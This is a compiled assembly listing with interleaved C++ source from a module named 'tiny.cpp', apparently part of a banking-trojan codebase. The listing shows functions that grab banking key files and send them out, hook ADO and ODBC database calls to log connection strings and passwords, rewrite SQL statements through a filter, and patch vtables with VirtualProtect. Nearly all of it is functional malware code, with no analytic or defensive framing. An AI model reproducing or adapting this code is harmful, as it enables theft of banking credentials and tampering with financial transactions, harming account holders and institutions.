  00056	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
; 450  : 	m_lstrcat( buf, "\r\n" );
  0005b	68 00 00 00 00	 push	 OFFSET ??_C@_02PCIJFNDE@?$AN?6?$AA@
  00060	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _buf$[ebp]
  00066	50		 push	 eax
  00067	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
; 451  : 	KeyLogger::AddStrToBuffer( 0, buf, 0 );
  0006c	6a 00		 push	 0
  0006e	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _buf$[ebp]
  00074	50		 push	 eax
  00075	6a 00		 push	 0
  00077	e8 00 00 00 00	 call	 ?AddStrToBuffer@KeyLogger@@YAXPAUHWND__@@PADK@Z ; KeyLogger::AddStrToBuffer
  0007c	83 c4 0c	 add	 esp, 12			; 0000000cH
; 452  : 	DBG( "Tiny", buf );
; 453  : }
  0007f	c9		 leave
  00080	c3		 ret	 0
?AddStrLog@Tiny@@YAXPBD0PAD@Z ENDP			; Tiny::AddStrLog
_TEXT	ENDS
PUBLIC	??_C@_09EGAJIMNJ@keys_tiny?$AA@			; `string'
PUBLIC	??_C@_04IEPFDAGF@keys?$AA@			; `string'
PUBLIC	??_C@_0CO@CJAOHMOK@select?5Param?5from?5Config?5where?5C@ ; `string'
PUBLIC	??_C@_05NDFOKMCL@os255?$AA@			; `string'
EXTRN	?AddDirectory@KeyLogger@@YAXPAD0@Z:PROC		; KeyLogger::AddDirectory
;	COMDAT ??_C@_09EGAJIMNJ@keys_tiny?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_09EGAJIMNJ@keys_tiny?$AA@ DB 'keys_tiny', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_04IEPFDAGF@keys?$AA@
CONST	SEGMENT
??_C@_04IEPFDAGF@keys?$AA@ DB 'keys', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0CO@CJAOHMOK@select?5Param?5from?5Config?5where?5C@
CONST	SEGMENT
??_C@_0CO@CJAOHMOK@select?5Param?5from?5Config?5where?5C@ DB 'select Para'
	DB	'm from Config where Code=''keypath''', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_05NDFOKMCL@os255?$AA@
CONST	SEGMENT
??_C@_05NDFOKMCL@os255?$AA@ DB 'os255', 00H		; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?GrabKeys@Tiny@@YAXXZ
_TEXT	SEGMENT
_pathKeys$99993 = -260					; size = 260
?GrabKeys@Tiny@@YAXXZ PROC				; Tiny::GrabKeys, COMDAT
; 456  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	81 ec 04 01 00
	00		 sub	 esp, 260		; 00000104H
  00009	56		 push	 esi
; 457  : 	//
; 458  : 	ODBC* db = OpenDB();
  0000a	e8 00 00 00 00	 call	 ?OpenDB@Tiny@@YAPAVODBC@@XZ ; Tiny::OpenDB
  0000f	8b f0		 mov	 esi, eax
; 459  : 	if( db )
  00011	85 f6		 test	 esi, esi
  00013	74 62		 je	 SHORT $LN14@GrabKeys
; 460  : 	{
; 461  : 		char pathKeys[MAX_PATH];
; 462  : 		pathKeys[0] = 0;
; 463  : 		const char* sql = "select Param from Config where Code='keypath'";
; 464  : 		SQLHSTMT qr = db->ExecuteSql( sql, "os255", pathKeys );
  00015	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _pathKeys$99993[ebp]
  0001b	50		 push	 eax
  0001c	68 00 00 00 00	 push	 OFFSET ??_C@_05NDFOKMCL@os255?$AA@
  00021	68 00 00 00 00	 push	 OFFSET ??_C@_0CO@CJAOHMOK@select?5Param?5from?5Config?5where?5C@
  00026	56		 push	 esi
  00027	c6 85 fc fe ff
	ff 00		 mov	 BYTE PTR _pathKeys$99993[ebp], 0
  0002e	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  00033	83 c4 10	 add	 esp, 16			; 00000010H
; 465  : 		if( qr )
  00036	85 c0		 test	 eax, eax
  00038	74 35		 je	 SHORT $LN3@GrabKeys
; 466  : 		{
; 467  : 			db->CloseQuery(qr);
  0003a	50		 push	 eax
  0003b	8b ce		 mov	 ecx, esi
  0003d	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 468  : 			DBG( "Tiny", "
 '%s'", pathKeys );
; 469  : 			KeyLogger::AddDirectory( pathKeys, "keys" );
  00042	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _pathKeys$99993[ebp]
  00048	68 00 00 00 00	 push	 OFFSET ??_C@_04IEPFDAGF@keys?$AA@
  0004d	50		 push	 eax
  0004e	e8 00 00 00 00	 call	 ?AddDirectory@KeyLogger@@YAXPAD0@Z ; KeyLogger::AddDirectory
; 470  : 			VideoProcess::SendFiles( 0, "keys_tiny", pathKeys, 0, 0, true );
  00053	6a 01		 push	 1
  00055	6a 00		 push	 0
  00057	6a 00		 push	 0
  00059	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _pathKeys$99993[ebp]
  0005f	50		 push	 eax
  00060	68 00 00 00 00	 push	 OFFSET ??_C@_09EGAJIMNJ@keys_tiny?$AA@
  00065	6a 00		 push	 0
  00067	e8 00 00 00 00	 call	 ?SendFiles@VideoProcess@@YAKHPBD0HH_N@Z ; VideoProcess::SendFiles
  0006c	83 c4 20	 add	 esp, 32			; 00000020H
$LN3@GrabKeys:
; 471  : 		}
; 472  : 		else
; 473  : 			DBG( "Tiny", "
; 474  : 		CloseDB(db);
  0006f	8b 06		 mov	 eax, DWORD PTR [esi]
  00071	6a 01		 push	 1
  00073	8b ce		 mov	 ecx, esi
  00075	ff 10		 call	 DWORD PTR [eax]
$LN14@GrabKeys:
  00077	5e		 pop	 esi
; 475  : 	}
; 476  : 	else
; 477  : 		DBG( "Tiny", "
 %s", pathMDB );
; 478  : }
  00078	c9		 leave
  00079	c3		 ret	 0
?GrabKeys@Tiny@@YAXXZ ENDP				; Tiny::GrabKeys
_TEXT	ENDS
EXTRN	?GetWndText@@YAPADPAUHWND__@@@Z:PROC		; GetWndText
EXTRN	?GetWndClassHash@@YAKPAUHWND__@@_N@Z:PROC	; GetWndClassHash
; Function compile flags: /Ogspy
;	COMDAT ?EnumChildProc@Tiny@@YGHPAUHWND__@@J@Z
_TEXT	SEGMENT
_hwnd$ = 8						; size = 4
_lParam$ = 12						; size = 4
?EnumChildProc@Tiny@@YGHPAUHWND__@@J@Z PROC		; Tiny::EnumChildProc, COMDAT
; 536  : {
  00000	53		 push	 ebx
; 537  : 	ForFindControl* ffc = (ForFindControl*)lParam;
; 538  : 	DWORD hash = GetWndClassHash(hwnd);
  00001	8b 5c 24 08	 mov	 ebx, DWORD PTR _hwnd$[esp]
  00005	57		 push	 edi
  00006	6a 00		 push	 0
  00008	53		 push	 ebx
  00009	e8 00 00 00 00	 call	 ?GetWndClassHash@@YAKPAUHWND__@@_N@Z ; GetWndClassHash
; 539  : 	if( IsHash( ffc->hashs, hash ) )
  0000e	8b 7c 24 18	 mov	 edi, DWORD PTR _lParam$[esp+12]
  00012	59		 pop	 ecx
  00013	59		 pop	 ecx
  00014	8b 4f 1c	 mov	 ecx, DWORD PTR [edi+28]
  00017	eb 07		 jmp	 SHORT $LN17@EnumChildP
$LL7@EnumChildP:
  00019	3b d0		 cmp	 edx, eax
  0001b	74 11		 je	 SHORT $LN15@EnumChildP
  0001d	83 c1 04	 add	 ecx, 4
$LN17@EnumChildP:
  00020	8b 11		 mov	 edx, DWORD PTR [ecx]
  00022	85 d2		 test	 edx, edx
  00024	75 f3		 jne	 SHORT $LL7@EnumChildP
$LN1@EnumChildP:
; 546  : 	}
; 547  : 	return TRUE;
  00026	33 c0		 xor	 eax, eax
  00028	40		 inc	 eax
$LN3@EnumChildP:
  00029	5f		 pop	 edi
  0002a	5b		 pop	 ebx
; 548  : }
  0002b	c2 08 00	 ret	 8
$LN15@EnumChildP:
  0002e	56		 push	 esi
  0002f	8d 77 18	 lea	 esi, DWORD PTR [edi+24]
  00032	8b 06		 mov	 eax, DWORD PTR [esi]
  00034	53		 push	 ebx
  00035	89 1c 87	 mov	 DWORD PTR [edi+eax*4], ebx
  00038	e8 00 00 00 00	 call	 ?GetWndText@@YAPADPAUHWND__@@@Z ; GetWndText
; 540  : 	{
; 541  : 		ffc->wnds[ffc->count] = hwnd;
; 542  : 		ffc->texts[ffc->count] = GetWndText(hwnd);
  0003d	59		 pop	 ecx
  0003e	8b 0e		 mov	 ecx, DWORD PTR [esi]
  00040	89 44 8f 0c	 mov	 DWORD PTR [edi+ecx*4+12], eax
; 543  : 		DBG( "Tiny", "find control %08x, text = %s", hwnd, ffc->texts[ffc->count] );
; 544  : 		ffc->count++;
  00044	ff 06		 inc	 DWORD PTR [esi]
; 545  : 		if( ffc->count >= MaxFindedControl ) return FALSE;
  00046	83 3e 03	 cmp	 DWORD PTR [esi], 3
  00049	5e		 pop	 esi
  0004a	7c da		 jl	 SHORT $LN1@EnumChildP
  0004c	33 c0		 xor	 eax, eax
  0004e	eb d9		 jmp	 SHORT $LN3@EnumChildP
?EnumChildProc@Tiny@@YGHPAUHWND__@@J@Z ENDP		; Tiny::EnumChildProc
_TEXT	ENDS
PUBLIC	??_C@_0N@LPKKFANH@Data?5Source?$DN?$AA@		; `string'
EXTRN	?Scan@STR@@YAPADPBDD@Z:PROC			; STR::Scan
EXTRN	?ToAnsi@WSTR@@YAPADPB_WK@Z:PROC			; WSTR::ToAnsi
_BSS	SEGMENT
_RealConnection_Open DD 01H DUP (?)
_BSS	ENDS
;	COMDAT ??_C@_0N@LPKKFANH@Data?5Source?$DN?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_0N@LPKKFANH@Data?5Source?$DN?$AA@ DB 'Data Source=', 00H ; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?HandlerConnection_Open@Tiny@@YGJPAXPA_W11J@Z
_TEXT	SEGMENT
_cs$100140 = -4						; size = 4
_This$ = 8						; size = 4
_ConnectionString$ = 12					; size = 4
_UserID$ = 16						; size = 4
_Password$ = 20						; size = 4
_Options$ = 24						; size = 4
?HandlerConnection_Open@Tiny@@YGJPAXPA_W11J@Z PROC	; Tiny::HandlerConnection_Open, COMDAT
; 618  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
; 619  : 	DBG( "Tiny", "Connection_Open: '%ls','%ls','%ls'", ConnectionString, UserID, Password );
; 620  : 	if( pathMDB[0] == 0 )
  00004	80 3d 00 00 00
	00 00		 cmp	 BYTE PTR _pathMDB, 0
  0000b	75 59		 jne	 SHORT $LN12@HandlerCon
  0000d	56		 push	 esi
; 621  : 	{
; 622  : 		char* cs = WSTR::ToAnsi( ConnectionString, 0 );
  0000e	6a 00		 push	 0
  00010	ff 75 0c	 push	 DWORD PTR _ConnectionString$[ebp]
  00013	e8 00 00 00 00	 call	 ?ToAnsi@WSTR@@YAPADPB_WK@Z ; WSTR::ToAnsi
; 623  : 		char* p = strstr( cs, "Data Source=" );
  00018	68 00 00 00 00	 push	 OFFSET ??_C@_0N@LPKKFANH@Data?5Source?$DN?$AA@
  0001d	50		 push	 eax
  0001e	89 45 fc	 mov	 DWORD PTR _cs$100140[ebp], eax
  00021	e8 00 00 00 00	 call	 _strstr
  00026	8b f0		 mov	 esi, eax
  00028	83 c4 10	 add	 esp, 16			; 00000010H
; 624  : 		if( p )
  0002b	85 f6		 test	 esi, esi
  0002d	74 2d		 je	 SHORT $LN10@HandlerCon
; 625  : 		{
; 626  : 			p += 12; //+= len("Data Source=")
  0002f	83 c6 0c	 add	 esi, 12			; 0000000cH
; 627  : 			char* p2 = STR::Scan( p, ';' );
  00032	6a 3b		 push	 59			; 0000003bH
  00034	56		 push	 esi
  00035	e8 00 00 00 00	 call	 ?Scan@STR@@YAPADPBDD@Z	; STR::Scan
  0003a	59		 pop	 ecx
  0003b	59		 pop	 ecx
; 628  : 			if( p2 )
  0003c	85 c0		 test	 eax, eax
  0003e	74 1c		 je	 SHORT $LN10@HandlerCon
  00040	57		 push	 edi
; 629  : 			{
; 630  : 				int l = p2 - p;
  00041	2b c6		 sub	 eax, esi
  00043	8b f8		 mov	 edi, eax
; 631  : 				m_memcpy( pathMDB, p, l );
  00045	57		 push	 edi
  00046	56		 push	 esi
  00047	68 00 00 00 00	 push	 OFFSET _pathMDB
  0004c	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
  00051	83 c4 0c	 add	 esp, 12			; 0000000cH
; 632  : 				pathMDB[l] = 0;
  00054	c6 87 00 00 00
	00 00		 mov	 BYTE PTR _pathMDB[edi], 0
  0005b	5f		 pop	 edi
; 633  : 				DBG( "Tiny", "path database: %s", pathMDB );
$LN10@HandlerCon:
; 634  : 			}
; 635  : 		}
; 636  : 		STR::Free(cs);
  0005c	ff 75 fc	 push	 DWORD PTR _cs$100140[ebp]
  0005f	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  00064	59		 pop	 ecx
  00065	5e		 pop	 esi
$LN12@HandlerCon:
; 637  : 	}
; 638  : 	return RealConnection_Open( This, ConnectionString, UserID, Password, Options );
  00066	ff 75 18	 push	 DWORD PTR _Options$[ebp]
  00069	ff 75 14	 push	 DWORD PTR _Password$[ebp]
  0006c	ff 75 10	 push	 DWORD PTR _UserID$[ebp]
  0006f	ff 75 0c	 push	 DWORD PTR _ConnectionString$[ebp]
  00072	ff 75 08	 push	 DWORD PTR _This$[ebp]
  00075	ff 15 00 00 00
	00		 call	 DWORD PTR _RealConnection_Open
; 639  : }
  0007b	c9		 leave
  0007c	c2 14 00	 ret	 20			; 00000014H
?HandlerConnection_Open@Tiny@@YGJPAXPA_W11J@Z ENDP	; Tiny::HandlerConnection_Open
_TEXT	ENDS
EXTRN	?m_wcsncpy@@YAPA_WPA_W0K@Z:PROC			; m_wcsncpy
_BSS	SEGMENT
_RealCommand_put_CommandText DD 01H DUP (?)
; Function compile flags: /Ogspy
_BSS	ENDS
;	COMDAT ?HandlerCommand_put_CommandText@Tiny@@YGJPAXPA_W@Z
_TEXT	SEGMENT
_This$ = 8						; size = 4
_pbstr$ = 12						; size = 4
?HandlerCommand_put_CommandText@Tiny@@YGJPAXPA_W@Z PROC	; Tiny::HandlerCommand_put_CommandText, COMDAT
; 772  : {
  00000	53		 push	 ebx
; 773  : 	DBG( "Tiny", "Command_put_CommandText: '%ls'", pbstr );
; 774  : 	//
; 775  : 	int len = m_wcslen(pbstr);
  00001	8b 5c 24 0c	 mov	 ebx, DWORD PTR _pbstr$[esp]
  00005	56		 push	 esi
  00006	57		 push	 edi
  00007	53		 push	 ebx
  00008	e8 00 00 00 00	 call	 ?m_wcslen@@YGKPB_W@Z	; m_wcslen
  0000d	8b f8		 mov	 edi, eax
; 776  : 	int size = (2 * len + 1) * sizeof(WCHAR); //
  0000f	8d 04 bd 02 00
	00 00		 lea	 eax, DWORD PTR [edi*4+2]
; 777  : 	WCHAR* newSQL = (WCHAR*)MemAlloc(size);
  00016	50		 push	 eax
  00017	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  0001c	8b f0		 mov	 esi, eax
  0001e	59		 pop	 ecx
; 778  : 	if( newSQL )
  0001f	85 f6		 test	 esi, esi
  00021	74 1d		 je	 SHORT $LN2@HandlerCom
; 779  : 	{
; 780  : 		m_wcsncpy( newSQL, pbstr, len );
  00023	57		 push	 edi
  00024	53		 push	 ebx
  00025	56		 push	 esi
  00026	e8 00 00 00 00	 call	 ?m_wcsncpy@@YAPA_WPA_W0K@Z ; m_wcsncpy
; 781  : 		newSQL[len] = 0;
  0002b	33 c0		 xor	 eax, eax
; 782  : 		if( ExecSQLFilter(newSQL) ) //
  0002d	56		 push	 esi
  0002e	66 89 04 7e	 mov	 WORD PTR [esi+edi*2], ax
  00032	e8 00 00 00 00	 call	 ?ExecSQLFilter@Tiny@@YAHPA_W@Z ; Tiny::ExecSQLFilter
  00037	83 c4 10	 add	 esp, 16			; 00000010H
  0003a	85 c0		 test	 eax, eax
  0003c	74 02		 je	 SHORT $LN2@HandlerCom
; 783  : 			pbstr = newSQL;
  0003e	8b de		 mov	 ebx, esi
$LN2@HandlerCom:
; 784  : 	}
; 785  : 	HRESULT hr = RealCommand_put_CommandText( This, pbstr );
  00040	53		 push	 ebx
  00041	ff 74 24 14	 push	 DWORD PTR _This$[esp+12]
  00045	ff 15 00 00 00
	00		 call	 DWORD PTR _RealCommand_put_CommandText
  0004b	8b f8		 mov	 edi, eax
; 786  : 	if( newSQL ) MemFree(newSQL);
  0004d	85 f6		 test	 esi, esi
  0004f	74 07		 je	 SHORT $LN1@HandlerCom
  00051	56		 push	 esi
  00052	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00057	59		 pop	 ecx
$LN1@HandlerCom:
; 787  : 	return hr;
  00058	8b c7		 mov	 eax, edi
  0005a	5f		 pop	 edi
  0005b	5e		 pop	 esi
  0005c	5b		 pop	 ebx
; 788  : }
  0005d	c2 08 00	 ret	 8
?HandlerCommand_put_CommandText@Tiny@@YGJPAXPA_W@Z ENDP	; Tiny::HandlerCommand_put_CommandText
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?ReplacementFuncs@Tiny@@YA_NPAPAXPAH00H@Z
_TEXT	SEGMENT
_sizeMem$ = -12						; size = 4
tv159 = -8						; size = 4
_oldProtect$ = -4					; size = 4
tv324 = 8						; size = 4
_realFuncs$ = 8						; size = 4
_count$ = 12						; size = 4
?ReplacementFuncs@Tiny@@YA_NPAPAXPAH00H@Z PROC		; Tiny::ReplacementFuncs, COMDAT
; _ppv$ = eax
; _nums$ = edx
; _handlerFuncs$ = ecx
; 791  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 792  : 	DWORD* pv = (DWORD*)*(*(DWORD**)ppv); //
  00003	8b 00		 mov	 eax, DWORD PTR [eax]
  00005	83 ec 0c	 sub	 esp, 12			; 0000000cH
  00008	53		 push	 ebx
  00009	56		 push	 esi
  0000a	8b 30		 mov	 esi, DWORD PTR [eax]
  0000c	57		 push	 edi
  0000d	8b fa		 mov	 edi, edx
; 793  : 	DWORD* phf = (DWORD*)handlerFuncs;
; 794  : 	DWORD** prf = (DWORD**)realFuncs;
; 795  : 	if( pv[ nums[0] ] == phf[0] )
  0000f	8b 07		 mov	 eax, DWORD PTR [edi]
  00011	8b 04 86	 mov	 eax, DWORD PTR [esi+eax*4]
  00014	8b d9		 mov	 ebx, ecx
  00016	3b 03		 cmp	 eax, DWORD PTR [ebx]
  00018	75 07		 jne	 SHORT $LN9@Replacemen
$LN17@Replacemen:
; 796  : 		return true; //
  0001a	b0 01		 mov	 al, 1
  0001c	e9 89 00 00 00	 jmp	 $LN10@Replacemen
$LN9@Replacemen:
; 797  : 	//
; 798  : 	int max = 0;
  00021	33 c0		 xor	 eax, eax
; 799  : 	for( int i = 0; i < count; i++ ) 
  00023	33 c9		 xor	 ecx, ecx
  00025	39 45 0c	 cmp	 DWORD PTR _count$[ebp], eax
  00028	7e 0f		 jle	 SHORT $LN6@Replacemen
$LL8@Replacemen:
; 800  : 		if( max < nums[i] ) max = nums[i];
  0002a	8b 14 8f	 mov	 edx, DWORD PTR [edi+ecx*4]
  0002d	3b c2		 cmp	 eax, edx
  0002f	7d 02		 jge	 SHORT $LN7@Replacemen
  00031	8b c2		 mov	 eax, edx
$LN7@Replacemen:
; 799  : 	for( int i = 0; i < count; i++ ) 
  00033	41		 inc	 ecx
  00034	3b 4d 0c	 cmp	 ecx, DWORD PTR _count$[ebp]
  00037	7c f1		 jl	 SHORT $LL8@Replacemen
$LN6@Replacemen:
; 801  : 	int sizeMem = sizeof(DWORD) * (max + 1); //
; 802  : 
; 803  : 	DWORD oldProtect = 0;
  00039	83 65 fc 00	 and	 DWORD PTR _oldProtect$[ebp], 0
; 804  : 	if( (BOOL)pVirtualProtect( pv, sizeMem, PAGE_EXECUTE_READWRITE, &oldProtect ) )
  0003d	8d 4d fc	 lea	 ecx, DWORD PTR _oldProtect$[ebp]
  00040	51		 push	 ecx
  00041	8d 04 85 04 00
	00 00		 lea	 eax, DWORD PTR [eax*4+4]
  00048	6a 40		 push	 64			; 00000040H
  0004a	50		 push	 eax
  0004b	56		 push	 esi
  0004c	89 45 f4	 mov	 DWORD PTR _sizeMem$[ebp], eax
  0004f	e8 00 00 00 00	 call	 ??$pushargEx@$00$0KJNOGPFK@$0P@PAKHHPAK@@YAPAXPAKHH0@Z ; pushargEx<1,2849927002,15,unsigned long *,int,int,unsigned long *>
  00054	83 c4 10	 add	 esp, 16			; 00000010H
  00057	85 c0		 test	 eax, eax
  00059	74 4d		 je	 SHORT $LN4@Replacemen
; 805  : 	{
; 806  : 		for( int i = 0; i < count; i++ )
  0005b	8b 4d 0c	 mov	 ecx, DWORD PTR _count$[ebp]
  0005e	85 c9		 test	 ecx, ecx
  00060	7e 2e		 jle	 SHORT $LN1@Replacemen
  00062	8b 55 08	 mov	 edx, DWORD PTR _realFuncs$[ebp]
  00065	89 5d 08	 mov	 DWORD PTR tv324[ebp], ebx
  00068	2b d3		 sub	 edx, ebx
  0006a	29 7d 08	 sub	 DWORD PTR tv324[ebp], edi
  0006d	8b c7		 mov	 eax, edi
  0006f	89 4d f8	 mov	 DWORD PTR tv159[ebp], ecx
$LL16@Replacemen:
; 807  : 			*prf[i] = pv[ nums[i] ], pv[ nums[i] ] = phf[i];
  00072	8b 38		 mov	 edi, DWORD PTR [eax]
  00074	8b 4d 08	 mov	 ecx, DWORD PTR tv324[ebp]
  00077	8b 3c be	 mov	 edi, DWORD PTR [esi+edi*4]
  0007a	03 c8		 add	 ecx, eax
  0007c	8b 1c 11	 mov	 ebx, DWORD PTR [ecx+edx]
  0007f	89 3b		 mov	 DWORD PTR [ebx], edi
  00081	8b 38		 mov	 edi, DWORD PTR [eax]
  00083	8b 09		 mov	 ecx, DWORD PTR [ecx]
  00085	83 c0 04	 add	 eax, 4
  00088	ff 4d f8	 dec	 DWORD PTR tv159[ebp]
  0008b	89 0c be	 mov	 DWORD PTR [esi+edi*4], ecx
  0008e	75 e2		 jne	 SHORT $LL16@Replacemen
$LN1@Replacemen:
; 808  : 		pVirtualProtect( pv, sizeMem, oldProtect, &oldProtect);
  00090	8d 45 fc	 lea	 eax, DWORD PTR _oldProtect$[ebp]
  00093	50		 push	 eax
  00094	ff 75 fc	 push	 DWORD PTR _oldProtect$[ebp]
  00097	ff 75 f4	 push	 DWORD PTR _sizeMem$[ebp]
  0009a	56		 push	 esi
  0009b	e8 00 00 00 00	 call	 ??$pushargEx@$00$0KJNOGPFK@$0P@PAKHKPAK@@YAPAXPAKHK0@Z ; pushargEx<1,2849927002,15,unsigned long *,int,unsigned long,unsigned long *>
  000a0	83 c4 10	 add	 esp, 16			; 00000010H
; 809  : 		return true;
  000a3	e9 72 ff ff ff	 jmp	 $LN17@Replacemen
$LN4@Replacemen:
; 810  : 	}
; 811  : 	return false;
  000a8	32 c0		 xor	 al, al
$LN10@Replacemen:
  000aa	5f		 pop	 edi
  000ab	5e		 pop	 esi
  000ac	5b		 pop	 ebx
; 812  : }
  000ad	c9		 leave
  000ae	c3		 ret	 0
?ReplacementFuncs@Tiny@@YA_NPAPAXPAH00H@Z ENDP		; Tiny::ReplacementFuncs
_TEXT	ENDS
EXTRN	?AnsiToUnicode@@YAPA_WPADK@Z:PROC		; AnsiToUnicode
; Function compile flags: /Ogspy
;	COMDAT ?HandlerSQLPrepareA@Tiny@@YGFPAXPAEJ@Z
_TEXT	SEGMENT
_StatementHandle$ = 8					; size = 4
_StatementText$ = 12					; size = 4
_TextLength$ = 16					; size = 4
?HandlerSQLPrepareA@Tiny@@YGFPAXPAEJ@Z PROC		; Tiny::HandlerSQLPrepareA, COMDAT
; 868  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	53		 push	 ebx
  00004	56		 push	 esi
  00005	57		 push	 edi
; 869  : 	DBG( "Tiny", "SQLPrepareA: '%s'", StatementText );
; 870  : 	wchar_t* newSQL = AnsiToUnicode( (char*)StatementText, 0 );
  00006	33 db		 xor	 ebx, ebx
  00008	53		 push	 ebx
  00009	ff 75 0c	 push	 DWORD PTR _StatementText$[ebp]
  0000c	e8 00 00 00 00	 call	 ?AnsiToUnicode@@YAPA_WPADK@Z ; AnsiToUnicode
  00011	8b f0		 mov	 esi, eax
  00013	59		 pop	 ecx
  00014	59		 pop	 ecx
; 871  : 	char* newASLAnsi = 0;
; 872  : 	if( newSQL )
  00015	3b f3		 cmp	 esi, ebx
  00017	74 19		 je	 SHORT $LN9@HandlerSQL
; 873  : 	{
; 874  : 		if( ExecSQLFilter(newSQL) ) 
  00019	56		 push	 esi
  0001a	e8 00 00 00 00	 call	 ?ExecSQLFilter@Tiny@@YAHPA_W@Z ; Tiny::ExecSQLFilter
  0001f	59		 pop	 ecx
  00020	85 c0		 test	 eax, eax
  00022	74 0e		 je	 SHORT $LN9@HandlerSQL
; 875  : 		{
; 876  : 			newASLAnsi = WSTR::ToAnsi( newSQL, 0 );
  00024	53		 push	 ebx
  00025	56		 push	 esi
  00026	e8 00 00 00 00	 call	 ?ToAnsi@WSTR@@YAPADPB_WK@Z ; WSTR::ToAnsi
  0002b	59		 pop	 ecx
  0002c	8b d8		 mov	 ebx, eax
  0002e	59		 pop	 ecx
; 877  : 			StatementText = (SQLCHAR*)newASLAnsi;
  0002f	89 5d 0c	 mov	 DWORD PTR _StatementText$[ebp], ebx
$LN9@HandlerSQL:
; 878  : 		}
; 879  : 	}
; 880  : 	SQLRETURN ret = RealSQLPrepareA( StatementHandle, StatementText, TextLength );
  00032	ff 75 10	 push	 DWORD PTR _TextLength$[ebp]
  00035	ff 75 0c	 push	 DWORD PTR _StatementText$[ebp]
  00038	ff 75 08	 push	 DWORD PTR _StatementHandle$[ebp]
  0003b	ff 15 00 00 00
	00		 call	 DWORD PTR ?RealSQLPrepareA@Tiny@@3P6GFPAXPAEJ@ZA ; Tiny::RealSQLPrepareA
  00041	0f b7 f8	 movzx	 edi, ax
; 881  : 	if( newSQL ) MemFree(newSQL);
  00044	85 f6		 test	 esi, esi
  00046	74 07		 je	 SHORT $LN2@HandlerSQL
  00048	56		 push	 esi
  00049	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  0004e	59		 pop	 ecx
$LN2@HandlerSQL:
; 882  : 	if( newASLAnsi ) STR::Free(newASLAnsi);
  0004f	85 db		 test	 ebx, ebx
  00051	74 07		 je	 SHORT $LN1@HandlerSQL
  00053	53		 push	 ebx
  00054	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  00059	59		 pop	 ecx
$LN1@HandlerSQL:
; 883  : 	return ret;
  0005a	66 8b c7	 mov	 ax, di
  0005d	5f		 pop	 edi
  0005e	5e		 pop	 esi
  0005f	5b		 pop	 ebx
; 884  : }
  00060	5d		 pop	 ebp
  00061	c2 0c 00	 ret	 12			; 0000000cH
?HandlerSQLPrepareA@Tiny@@YGFPAXPAEJ@Z ENDP		; Tiny::HandlerSQLPrepareA
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?HandlerSQLExecDirectA@Tiny@@YGFPAXPAEJ@Z
_TEXT	SEGMENT
_StatementHandle$ = 8					; size = 4
_StatementText$ = 12					; size = 4
_TextLength$ = 16					; size = 4
?HandlerSQLExecDirectA@Tiny@@YGFPAXPAEJ@Z PROC		; Tiny::HandlerSQLExecDirectA, COMDAT
; 888  : 	DBG( "Tiny", "SQLExecDirectA: '%s'", StatementText );
; 889  : 	return RealSQLExecDirectA( StatementHandle, StatementText, TextLength );
  00000	ff 25 00 00 00
	00		 jmp	 DWORD PTR ?RealSQLExecDirectA@Tiny@@3P6GFPAXPAEJ@ZA ; Tiny::RealSQLExecDirectA
?HandlerSQLExecDirectA@Tiny@@YGFPAXPAEJ@Z ENDP		; Tiny::HandlerSQLExecDirectA
_TEXT	ENDS
PUBLIC	?Activeted@Tiny@@YAXPAX@Z			; Tiny::Activeted
; Function compile flags: /Ogspy
;	COMDAT ?Activeted@Tiny@@YAXPAX@Z
_TEXT	SEGMENT
_Sender$ = 8						; size = 4
?Activeted@Tiny@@YAXPAX@Z PROC				; Tiny::Activeted, COMDAT
; 899  : 	DBG( "Tiny", "Activated" );
; 900  : //	SetHooks();
; 901  : }
  00000	c3		 ret	 0
?Activeted@Tiny@@YAXPAX@Z ENDP				; Tiny::Activeted
_TEXT	ENDS
PUBLIC	?Activeted2@Tiny@@YAXPAX@Z			; Tiny::Activeted2
; Function compile flags: /Ogspy
;	COMDAT ?Activeted2@Tiny@@YAXPAX@Z
_TEXT	SEGMENT
_Sender$ = 8						; size = 4
?Activeted2@Tiny@@YAXPAX@Z PROC				; Tiny::Activeted2, COMDAT
; 906  : 	DBG( "Tiny", "Activated2" );
; 907  : //	SetHooks();
; 908  : }
  00000	c3		 ret	 0
?Activeted2@Tiny@@YAXPAX@Z ENDP				; Tiny::Activeted2
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?FSF_SelectAmounts@Tiny@@YAHPA_WH@Z
_TEXT	SEGMENT
_sql$ = 8						; size = 4
